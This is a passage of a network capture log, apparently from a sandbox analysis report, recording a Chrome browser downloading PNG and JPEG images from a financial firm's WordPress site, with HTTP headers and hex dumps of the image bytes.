a5 c6 Data Ascii: ?w$f3;(]LQ1F(VzRKzJT>LD\|3>i6f<NS:'9BXsQ^ld'0000000!F)E(LmxZ$/ZCKibd`z3-K_KO1cw!m]}Z?4\jz<DtM"XZcfUsrh(bxn^.-
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: ea a9 89 b5 5c 8b 50 92 38 e8 e1 88 c5 01 ed a3 41 41 54 b8 22 2f d4 f5 2f a8 8b c5 72 b7 3b 02 fa c9 5e ee d3 a2 87 8c 80 a6 08 ef 5c 7a 93 cf 5f b4 9f 64 0a a5 39 ae 95 b5 0a ed 99 b4 eb 2a 8e 74 ce 1b 00 2b 0b 34 ff 00 e3 2b d5 27 f7 0a f5 67 f7 d0 2e 4d 83 b6 56 fc d6 70 0f ef 04 d7 ba 68 43 7a 9c 4f c1 52 fd 7f 23 be 4b 1d d0 ff 00 6c ae 2c de e0 f9 ae 4a 5f f6 fc d7 22 ff 00 7c 2e 47 ff 00 97 f6 54 dc 63 f7 cf c9 57 d1 a3 f7 df f3 5e ab 67 f0 71 ff 00 ec b0 b3 59 7f c2 a9 b8 59 88 d9 b8 8f 82 36 9b 30 21 ad e5 23 ad 6e ec 20 ec f6 53 bf a4 92 b1 9d ae a2 c6 d9 07 f9 02 f5 c8 7d e5 eb 4d ee 05 72 ae 3d 91 95 86 ec 7f 22 c2 39 fd d1 f3 58 41 31 ef 0a be 8c ff 00 7c 2a 0b 28 ef 93 f6 55 6d 9e 3f 78 aa 18 e0 f0 3f 35 46 98 9b f9 3f 75 5d d1 b5 fe 98 54 Data Ascii: \P8AAT"//r;^\z_d9t+4+'g.MVphCzOR#Kl,J_"\|.GTcW^gqYY60!#n S}Mr="9XA1\|(Um?x?5F?u]T
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 5a 1f d1 84 fe a3 82 72 7b b6 94 e7 75 26 33 9b 3d 0e 29 98 e1 4d 1d eb b9 49 77 9f 3d 23 43 88 e6 53 4b d0 81 e7 c7 0f 8a 7b fa 11 ff 00 e8 71 37 b4 ab 6b fe eb 5b fa f0 4e 28 9d a9 ee 57 0f 30 41 02 8b 5d 90 18 68 6f e2 5d ca 6b d9 de d0 02 08 a9 07 5a b5 3f a4 58 cf 3a fc 15 a2 4d ae 0d e0 4c 10 c6 24 90 71 89 38 05 14 0e 86 1a 3d d7 70 ae 09 f6 78 a2 89 cd 6d 31 75 54 70 3a 28 43 5d 99 15 ca 88 dc 86 1f 02 99 05 a6 26 00 f3 74 16 f3 14 f8 1b 1c 45 82 84 54 1a a3 2b 8e a8 6d e2 9c 37 38 44 6c 63 9e ec 39 82 7b 26 6c 41 ad 65 ed 50 b7 3b 23 1a 5a 0d 2f bb 9f b1 36 19 04 77 4d 49 a0 ea 58 36 2f 75 48 27 dc da c6 32 f5 40 a2 3e 8e c6 35 9c c5 d9 94 c8 24 dc cb 5d 5c 87 07 18 d8 d5 37 de 94 0f 2f df 82 28 34 73 ac 46 69 ce e6 18 20 1b cc 80 ea 4e 93 9b 21 Data Ascii: Zr{u&3=)MIw=#CSK{q7k[N(W0A]ho]kZ?X:ML$q8=pxm1uTp:(C]&tET+m78Dlc9{&lAeP;#Z/6wMIX6/uH'2@>5$]\7/(4sFi N!
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: d3 7f c3 15 67 af 31 2f 3e 1c 05 36 a1 73 71 bc 08 14 66 7d e9 b5 d9 bc ba d2 e0 d6 ec 42 b9 ef 1b 1b 4d 31 c5 52 f1 3b d3 70 60 3c 15 c7 57 82 9b aa 83 c9 58 db d2 2e 77 9f b4 da 64 e8 c2 7c f0 f8 a9 64 e8 45 fa 9d 19 6f a8 aa 69 dd bd 12 9c c7 36 f4 48 32 55 34 b8 33 de f1 4f 1b af e1 d8 af d2 94 1b 6b c1 5a 1d fc c2 ac 51 ec 84 1f 8f c7 d8 f0 04 f6 05 c8 bf c1 64 d1 da e5 af 68 60 ec 6d 56 bc d2 3b c9 72 57 bb 5c 53 98 db 30 a3 b3 5f 5e cb 3b 3f 13 e8 ae 99 a3 67 58 91 ca 91 7d 2c d8 cf f5 9c be af fe a6 6f f9 7f 75 f5 7f f5 1c 67 fb bf ba d4 fa 6a 37 7e 75 85 b6 27 78 7c 97 1e 17 77 0f 92 e4 60 77 70 58 d8 62 3d df ba d6 fa 2d a7 c7 e6 b5 be 89 3e 6b 5b e8 99 7c 4f c9 6b 7d 1d 38 ef fd 96 b5 92 d0 3c 16 31 4e 3b 82 ff 00 58 7e 45 ca bc 7f 6c af 59 ff Data Ascii: g1/>6sqf}BM1R;p`<WX.wd\|dEoi6H2U43OkZQdh`mV;rW\S0_^;?gX},ougj7~u'x\|w`wpXb=->k[\|Ok}8<1N;X~ElY
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 6a e6 3f 0d e1 df 12 d8 ad f8 4b c5 8c 2f 26 0d 9c 2d de 0f 71 84 82 a2 8d 46 35 55 95 44 92 6e cd e0 cb 29 a1 3e 9c 34 a1 90 a4 c6 a0 16 6a e4 31 5b 02 c7 6b 03 d8 dd b8 d9 24 92 54 86 4f fe 38 ef 89 6c 56 fc 25 e2 c6 17 93 06 ce 15 a5 b0 a0 90 10 b2 72 48 b7 fc ac 74 84 1b d8 b9 0e 3e 91 21 e7 50 9d 95 cb c8 cc cf 00 89 e9 d4 7c 22 90 2b cc fb 05 7b e2 33 5f 2b 6f 98 48 ce e8 79 11 59 bc c0 6c eb 2f e1 9b 7e a2 d6 f0 3d 4c d3 3b 1b 72 e5 9f 01 58 75 3c e0 ad c7 43 f2 d8 e4 da c1 6b bc 1f b8 f7 0c 93 ae 79 07 b5 6a 9f fc d1 df 1a d8 ad 84 98 da 2b c8 b2 5f e3 52 ff 00 d2 91 98 5c af 82 d1 fd ce 42 3e 0b fc 90 01 84 f7 76 4f c9 0f 75 d5 f0 45 47 82 3e 6f 77 91 a2 42 41 0a db ee 26 75 ea 41 38 35 a1 92 2c fc 0f 81 18 11 26 ab 5e 09 6e df 9f bc 6f ba 72 6d Data Ascii: j?K/&-qF5UDn)>4j1[k$TO8lV%rHt>!P\|"+{3_+oHyYl/~=L;rXu<Ckyj+_R\B>vOuEG>owBA&uA85,&^norm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49827	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:00 UTC	386	OUT	GET /wp-content/uploads/2018/02/facebook-28.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:00 UTC	711	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1836 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/png x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "5a958a25-72c" last-modified: Tue, 27 Feb 2018 16:41:09 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:00 GMT X-Served-By: cache-lga21981-LGA, cache-lga21957-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867701.686680,VS0,VE48 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1c 00 00 00 1c 08 06 00 00 00 72 0d df 94 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDRrtEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-04-11 20:35:00 UTC	458	IN	Data Raw: 05 23 71 ea c3 d2 6e 39 72 c7 ba 57 90 c7 cb 6a 2b b8 40 77 0b 96 44 c2 44 ae a1 ae d5 cf a1 7c af 96 36 e6 2b 2f b4 6a 5d 3c 66 50 20 18 a5 8a d2 02 27 31 2b be d4 2c c9 9f 5e 8a 38 af f0 d7 f3 73 30 6b 6e 32 ef bf fa 29 1c 31 ac d4 71 31 4d 41 b7 30 9d f2 2f 69 d1 70 9c 1a 96 54 d3 8d 93 eb 53 f7 0e b7 77 d3 fd ee 8f e4 a9 2c a6 a1 40 c8 aa 42 2e 26 54 d9 62 1c 83 46 43 74 f6 fc 18 18 ab 26 e3 ec 73 ef 00 bd 7b fb 83 fc fd 41 ec 9d 27 97 e2 6e 25 fe b0 e3 27 61 cd 38 fa ca e0 c5 74 90 56 a1 a7 14 92 8e 74 28 2f c9 27 23 61 e6 22 18 54 65 f3 74 35 01 d1 cc b0 b7 92 1c 42 a6 10 b9 b6 af 6f 2c 78 9d fe 9f dd 56 65 37 8f 4d ea 71 65 42 b3 39 56 ce aa 32 b2 2f 4e 46 4f d7 14 12 b9 4f bf ca 8e 25 13 87 8f 12 41 a7 d9 71 c3 b4 fa 60 da 79 02 91 99 40 79 53 dc Data Ascii: #qn9rWj+@wDD\|6+/j]<fP '1+,^8s0kn2)1q1MA0/ipTSw,@B.&TbFCt&s{A'n%'a8tVt(/'#a"Tet5Bo,xVe7MqeB9V2/NFOO%Aq`y@yS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49829	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:00 UTC	392	OUT	GET /wp-content/themes/x-child/images/linkedin-50.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:00 UTC	709	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3070 content-type: image/png x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "5a9524da-bfe" last-modified: Tue, 27 Feb 2018 09:28:58 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:00 GMT X-Served-By: cache-ewr18133-EWR, cache-ewr18130-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 1 X-Timer: S1712867701.906549,VS0,VE3 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDR22?tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 89 94 6a 37 86 0e e4 17 56 ed 05 2a a5 bc 9f 93 79 63 12 1e 9f 17 fd f9 ea 77 80 ac 3d 7b 04 93 60 f3 02 ac 55 d8 5d 38 85 2a 89 38 f2 6c 2b 81 ed 6e 60 b9 2c 70 e5 68 dc 3d 18 c3 ca 84 83 f1 6c 09 1f 4c 70 8c 12 07 74 55 fb 09 09 36 63 4e 11 cb 21 e8 42 15 b4 83 2f cf ef ac a9 f5 2b 50 ea 3a 4e c6 c3 75 07 29 f8 e8 ef 76 f1 c7 2f 0f e0 5b 6b 13 56 30 86 7f 2f 9c cc e0 67 6f 4d a0 60 42 b2 6d 57 33 e7 3c dc d9 8d e8 3b 73 b9 3c a1 86 2e 22 a8 05 11 df 2e 3e 1b 6e 68 41 58 7f bd a9 1f 8f dd de 6b 49 78 f4 91 5c fa 59 3f be 33 85 a7 ee e8 0d d4 ac 33 65 d8 62 15 cc 21 7e 8d e9 d5 c0 34 fd ba a9 75 77 a0 14 7d 2a b4 e1 57 96 92 8f 9e a4 8b 91 95 31 02 f6 30 c7 7d 21 64 72 f2 a1 15 be be 3a 11 ec 9d 4e 14 c1 28 58 05 b3 60 27 07 8d 39 7a 19 52 0b a9 5d 14 59 Data Ascii: j7Vycw={`U]88l+n`,ph=lLptU6cN!B/+P:Nu)v/[kV0/goM`BmW3<;s<.".>nhAXkIx\Y?33eb!~4uw}*W10}!dr:N(X`'9zR]Y
2024-04-11 20:35:00 UTC	314	IN	Data Raw: 3b a8 5d 37 2c 09 c1 26 18 05 6b 15 76 5d 09 b4 a5 da 9f 15 6c 7d 8e 7a 78 a0 46 97 af bf 1b 82 00 93 60 73 02 ac 55 d8 5d ac 38 59 3f 1d 69 b4 fc dc f5 05 b2 7d 64 d1 54 6a 47 48 70 bd 9d c2 3f 90 3c b7 23 c4 76 e5 f6 43 34 d3 c0 b8 db 7c cf 76 4c ad db 03 f9 0d ef fa 96 17 49 62 27 62 53 45 2b 8d 7a a9 e9 46 ff db 11 58 35 3f c7 8f ef 93 d5 29 28 f3 4c c7 7f d9 b5 01 bc fa 25 3f 9f b5 11 99 55 29 b7 31 dc 45 47 0a d2 a4 cf 52 27 e5 5f 2d c6 03 b1 aa f6 a2 0f 54 67 dc ce 29 73 97 63 df 45 63 f6 e6 d3 20 34 c9 6a 0b 75 f5 79 aa dd 64 7b c8 d8 13 7b d2 ce 21 73 d9 39 9b 4d 3e b4 94 98 8a 5c 42 e2 e2 4f 11 4d 7f 85 b6 fc 25 c9 a7 5d 43 16 69 3b a6 8c 2d 73 c8 5c 2d 14 77 69 8a 8b 13 5c b9 27 79 bb 99 0e db 08 af f7 53 1d 1e b6 ff ed d3 da 58 19 5a a1 57 b9 Data Ascii: ;]7,&kv]l}zxF`sU]8Y?i}dTjGHp?<#vC4\|vLIb'bSE+zFX5?)(L%?U)1EGR'_-Tg)scEc 4juyd{{!s9M>\BOM%]Ci;-s\-wi\'ySXZW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49828	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:00 UTC	386	OUT	GET /wp-content/uploads/2018/02/linkedin-28.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:01 UTC	711	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2143 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/png x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "5a958a28-85f" last-modified: Tue, 27 Feb 2018 16:41:12 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:00 GMT X-Served-By: cache-ewr18152-EWR, cache-ewr18141-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867701.906911,VS0,VE63 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:01 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1c 00 00 00 1c 08 06 00 00 00 72 0d df 94 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDRrtEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-04-11 20:35:01 UTC	765	IN	Data Raw: ec 13 69 dc 5e 2c e0 b7 2c 23 2d ed 59 eb 11 1a 77 96 72 a6 1e 65 99 eb 88 aa 49 c6 3d 9b 06 98 0d 42 9c a0 fa 9a 49 db 70 36 61 84 78 ca 47 77 5c e3 bb b9 1c f8 13 e9 4e 1f ab 8c d8 a7 f6 25 d0 19 63 36 11 e0 e7 a5 32 8a b9 0a 46 9e 4c 63 88 c1 75 77 a5 82 f1 3f 59 9d a8 1b 58 a0 10 35 64 0b b9 08 65 8e 36 b9 80 c1 d1 df e6 61 e6 fc 41 74 f0 bf 5c 2f 7d 73 0f 57 ee ac 60 ec 95 01 0c 67 92 f6 dd 85 a9 2c f6 a7 3c bc 35 bc 17 6b e8 93 f7 0a 78 f9 ca 7d 2c ad 86 8e 74 83 a5 e6 28 55 35 3d cd 3e 57 36 05 95 58 2e 8b 0f c6 b8 9d 4a dc 49 f0 12 2d 7b 6f b8 9b 64 bd 4e fd 20 42 81 41 75 72 20 8d 4f 4f 65 50 cb e3 0d b9 69 7a 34 65 33 5b d5 8b 7c e0 52 44 c0 2c 8f 1c 6d e8 de 05 54 20 d1 a6 f1 ee 0f 0b 78 e1 8b 39 7c 3f 9f 47 82 67 6a 8a 65 8c 1e 48 e1 e9 7e 16 Data Ascii: i^,,#-YwreI=BIp6axGw\N%c62FLcuw?YX5de6aAt\/}sW`g,<5kx},t(U5=>W6X.JI-{odN BAur OOePiz4e3[\|RD,mT x9\|?GgjeH~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49830	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:00 UTC	392	OUT	GET /wp-content/themes/x-child/images/facebook-50.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:00 UTC	709	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2359 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/png x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "5a9524d7-937" last-modified: Tue, 27 Feb 2018 09:28:55 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:00 GMT X-Served-By: cache-ewr18155-EWR, cache-ewr18160-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 1 X-Timer: S1712867701.911231,VS0,VE5 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDR22?tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-04-11 20:35:00 UTC	981	IN	Data Raw: bb 43 44 04 2d e7 fc a5 49 78 62 fd ca 39 45 18 3e e2 12 f9 ba 65 f9 2e 90 2f e4 53 e1 c8 84 fe aa a9 58 7c 3d b0 a2 b4 30 14 f0 31 87 d7 ac 45 af 7c 7c 3c db b4 a8 04 bf 51 54 88 a2 aa 70 5d c8 0f ed 4b cc 6b 48 0a b9 ef 7e 79 02 86 c3 51 58 54 e5 81 74 46 c1 c8 a6 b1 d7 02 f9 85 12 e6 8f 39 21 6f 39 91 2b 54 55 07 9f 47 66 51 cb 0c 3b 3f 3c 02 db 5f fa 02 83 68 90 85 5c 37 fa 46 57 6b 1d 54 f9 dc 56 73 4a 3e 76 20 d7 e5 84 3c e4 84 10 5a 8a b1 40 73 21 67 86 ff 01 b9 25 04 cb 3b 1a 98 93 5f 79 00 f6 45 10 ee ce 99 56 17 ef 09 ec 39 b8 cb 70 f3 f1 89 24 4c 62 5e a0 ac 9d ca 2a a6 9f 4d a1 29 a9 98 20 c3 7e 23 39 53 3e 69 aa 5f c4 ae cf 17 66 11 3e 12 43 42 b6 8a 95 1e b8 13 ba 06 dd 9d 0d 2c 8c 26 71 b1 7e 9f 79 4e b8 bd bb 09 2e ac 5d 06 6d 8d 41 5c ba Data Ascii: CD-Ixb9E>e./SX\|=01E\|\|<QTp]KkH~yQXTtF9!o9+TUGfQ;?<_h\7FWkTVsJ>v <Z@s!g%;_yEV9p$Lb^*M) ~#9S>i_f>CB,&q~yN.]mA\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49831	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:01 UTC	392	OUT	GET /wp-content/themes/x-child/images/latest_news.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:01 UTC	712	IN	HTTP/1.1 200 OK Connection: close Content-Length: 20511 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/jpeg x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "59a7c97c-501f" last-modified: Thu, 31 Aug 2017 08:31:56 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:01 GMT X-Served-By: cache-ewr18178-EWR, cache-ewr18138-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 1 X-Timer: S1712867701.357078,VS0,VE3 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:01 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c2 00 11 08 02 73 06 40 03 01 22 00 02 11 01 03 11 01 ff c4 00 19 00 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 07 ff c4 00 16 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 02 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 fa 9f 7e 5e a3 0d 8c 36 30 d8 c3 63 0d Data Ascii: JFIFC!"$"$Cs@"~^60c
